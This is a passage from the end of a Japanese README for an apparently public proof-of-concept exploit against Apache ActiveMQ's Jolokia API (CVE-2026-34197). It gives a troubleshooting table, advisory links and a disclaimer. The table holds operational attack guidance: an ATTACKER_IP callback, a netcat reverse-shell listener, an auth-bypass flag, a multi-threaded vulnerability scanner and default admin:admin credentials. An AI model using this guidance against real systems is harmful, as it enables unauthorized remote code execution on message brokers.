| **P3** | `xbean:http` パターンを含む `vm://` URI についてブローカーログを監視 |
---
## トラブルシューティング
| 問題 | 考えられる原因 | 解決策 |
|---------|-------------|----------|
| `15秒以内にペイロードリクエストを受信しませんでした` | ターゲットが ATTACKER_IP に到達できない | 接続性を確認([ATTACKER_IP ガイド](#understanding-attacker_ip---lhost) を参照) |
| `認証に失敗しました (401)` | 認証情報が誤っている | `--no-auth` を試す(ActiveMQ 6.0.0-6.1.1)か、正しい認証情報を見つける |
| `アクセスが拒否されました (403)` | Jolokia API が制限されている | ターゲットに `/api/jolokia/` の ACL がある可能性 — リモートからは悪用不可 |
| `接続エラー` / `接続できません` | ターゲットが停止しているか、ポートが誤っている | `http://TARGET:8161/` にアクセスできるか確認 |
| `Jolokia ステータス=500: JMX に登録できませんでした` | 以前のエクスプロイトコネクタがまだ登録されている | エクスプロイトは新しいランダム名で自動再試行します。もう一度試してください |
| リバースシェルが接続しない | `-l` とシェルコマンドで異なる IP を使用、またはポートがリッスンしていない | すべての場所で同じ IP を使用。エクスプロイト前に `nc -lvnp PORT` を開始 |
| `10秒以内に出力を受信しませんでした` | ターゲットに `curl` と `wget` がない、またはコマンドに標準出力がない | RCE は成功しています — 完全な操作にはリバースシェルを使用 |
| 出力取得が空の結果を表示 | コマンドが出力を生成しなかった(例: `touch /tmp/test`) | 標準出力がないコマンドでは想定どおり。`ls /tmp/test` で確認 |
| ポート 8888 で `OSError: Address already in use` | 別のプロセスまたは以前の実行がポートを使用している | `-lp 9999`(または任意の空きポート)を使用するか、ブロックしているプロセスを終了 |
| `version_check.py` のフェーズ 1 が遅い | スレッド数が少なすぎる、またはネットワーク遅延が高い | `--threads 20` または `--threads 30` に増やす |
| `version_check.py` が `[VULNERABLE]` を表示するがフェーズ 2 が失敗 | ターゲットが IP に到達できない、またはファイアウォールが送信 HTTP をブロック | ATTACKER_IP を確認。低速ネットワークでは `--wait 30` を試す |
| `version_check.py` がすべてのターゲットで `No Jolokia` を表示 | Jolokia API が無効、または非標準パスにある | `curl -u admin:admin http://TARGET:8161/api/jolokia/` で手動確認 |
---
## 参考情報
| リソース | リンク |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [技術分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Apache 勧告 | [セキュリティ勧告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| 関連 CVE | [CVE-2024-32114 — Jolokia 認証なし](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| 関連 CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## 免責事項
> [!WARNING]
> この概念実証は、**教育目的および許可されたセキュリティ研究専用**に提供されています。所有していない、または明示的なテスト許可がないシステムに対するこのツールの不正使用は**違法**です。作者は誤用に対する責任を負いません。
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub><b>KONDOR DEV SECURITY CORP</b> により専門知識をもって開発</sub><br>
<sub>MIT ライセンス © 2026</sub>
</p>